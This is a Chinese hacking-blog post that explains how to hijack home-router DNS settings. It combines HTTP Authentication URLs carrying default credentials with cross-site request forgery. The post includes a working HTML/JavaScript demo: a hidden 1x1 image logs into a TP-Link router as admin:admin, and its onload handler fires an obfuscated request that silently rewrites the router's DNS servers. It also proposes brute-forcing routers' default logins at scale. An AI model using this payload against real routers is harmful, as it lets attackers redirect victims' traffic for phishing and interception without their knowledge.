记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

利用Http Authentication Url+csrf劫持路由器DNS

2013-05-20 16:05

首先简要的说下什么是Http Authentication,服务端返回一个401状态,并返回一个WWW-Authenticate头。

WWW-Authenticate头包含了Http Authentication认证框的一些描叙,如下图

在认证框中输入用户名和密码,将密码放入Authorization头中发送

YWRtaW46YWRtaW4=即是admin:admin的base64编码

Http Authentication这一认证过程,实际上早先在所有浏览器中支持以Http Authentication Url的形式访问登陆,即

http://user:password@url

而微软为了防止钓鱼URL的问题,出了一个安全补丁,禁止了Http Authentication Url,见

http://support.microsoft.com/kb/834489

科 普完毕,八下之前的一些东西,前些年看到过国外黑路由的几个案例,其中比较精彩的有flash upnp attack,将内网指定IP的端口给映射出来进行攻击,当然还有部分路由有漏洞也可以将路由的WEB管理端口给映射出来进行攻击,后来FLASH将这个 安全漏洞修补了。

回到正题上,我们知道国内大部分的家用路由都是使用的Http Authentication认证方式,比如我上图中的就是TPLINK路由,虽然IE禁止了Http Authentication Url,但是firefox、chrome等浏览器任然支持Http Authentication Url,同时以标签的形式嵌入Http Authentication Url可以强制Http Authentication认证成功,没有任何安全提示,于是邪恶的攻击方法来了。

1. 我们可以取国内各种路由的默认IP和默认密码构造一个Http Authentication Url暴力登陆脚本。

2.使用CSRF修改路由的DNS,指向我们的恶意DNS。

比如下面这个TPLINK的小DEMO:

<script>
function dns(){
alert('I have changed your dns on my domain!')
i = new Image;
i.src="http://img403.hackdig.com/imgpxy.php?url=6E%254B%25%2B3A%251B%25%3DevaS%3Bpma%260.0.0.0%3D2revressnd%3Bpma%268.8.8.8%3Drevressnd%3Bpma%26%3Dniamod%3Bpma%260.0.0.0%3Dyawetag%3Bpma%26021%3DesaeL%3Bpma%26991.1.861.291%3D2pi%3Bpma%26001.1.861.291%3D1pi%3Bpma%261%3Drevrespchd%3Fmth.mpRrevreSpchDnaL%2FmpRresu%2F1.1.861.291%2F%2F%3Aptth";
}

</script>

<img src=”http://admin:admin@192.168.1.1/images/logo.jpg” height=1 width=1 onload=dns()>
 访问tplink.html后!

偷偷加入一个8.8.8.8的DNS服务器!

想一想,黑客如果用这种攻击方式大规模攻击,将是如何恐怖?弹指一挥间,数万路由被静默修改DNS?

这是一个普遍的安全问题,您的路由器是否修改好了默认密码,不过值得庆幸的是只有firefox、chrome等浏览器存在此类安全问题。

link:http://hi.baidu.com/kpstfbahmmalqre/item/008121262c7802112b0f1c89


知识来源: www.91ri.org/5982.html

阅读:148348 | 评论:0 | 标签:渗透技巧 CSRF xss

想收藏或者和大家分享这篇好文章→复制链接地址

“利用Http Authentication Url+csrf劫持路由器DNS”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

❤永久免费的Hackdig,帮你成为掌握黑客技术的英雄⛄️

🧚 🤲 🧜

标签云